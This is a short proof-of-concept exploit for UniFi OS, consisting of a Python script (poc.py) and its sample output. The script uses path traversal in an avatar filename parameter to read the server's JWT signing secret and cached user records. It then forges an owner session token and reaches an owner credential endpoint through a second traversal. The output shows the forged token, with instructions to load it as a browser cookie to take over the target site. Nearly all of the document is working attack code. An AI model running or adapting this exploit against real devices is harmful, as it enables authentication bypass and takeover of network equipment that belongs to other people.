unifi os path traversal

example_output.txt

$ python3 poc.py
{"code":1,"codeS":"SUCCESS","msg":"success","data":"identity is not enabled"}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxZmVhNmIyZi04MmY4LTRmNTEtYjZhOC02MzA4ZmExYzAzMWEiLCJwYXNzd29yZFJldmlzaW9uIjoxNzgwNTk0MDA5LCJpc1JlbWVtYmVyZWQiOmZhbHNlLCJjc3JmVG9rZW4iOiJkb2VzbnRtYXR0ZXIiLCJpYXQiOjE3ODA3MTE3NTIsImV4cCI6MTg4MDcxODk1MiwianRpIjoiZG9lc250bWF0dGVyIn0.rmuYFpM1Uy8MzEt1ILPzBRQi4dbOG4StbSoYWdOmzsY


add this cookie into the browser with name TOKEN and visit the target unifi os site.

poc.py

UNIFI_OS_URL = "https://10.0.0.151:11443"

jwt_uri = "/proxy/users/public/avatar/x?filename=../../../../data/unifi-core/config/jwt.yaml"
users_uri = "/proxy/users/public/avatar/x?filename=../../../../data/unifi-core/config/cache/users.json"
auth_verification = "/api/auth/validate-sso/../../../proxy/users/api/v2/identity/user/owner/credential"

import requests
import json
import jwt

jwt_secret = requests.get(UNIFI_OS_URL+jwt_uri, verify=False).content.decode().split(" ")[1].strip()

user_info = json.loads(requests.get(UNIFI_OS_URL+users_uri, verify=False).content.decode())

userid = user_info[0]['unique_id']
passwordrevision = user_info[0]['password_revision']

json_token = {
  "userId": userid,
  "passwordRevision": passwordrevision,
  "isRemembered": False,
  "csrfToken": "doesntmatter",
  "iat": 1780711752,
  "exp": 1880718952,
  "jti": "doesntmatter"
}

encoded_jwt = jwt.encode(json_token, jwt_secret, algorithm="HS256")

cookies = {'TOKEN': encoded_jwt}

print(requests.get(UNIFI_OS_URL+auth_verification, cookies=cookies, verify=False).content.decode())

print(encoded_jwt)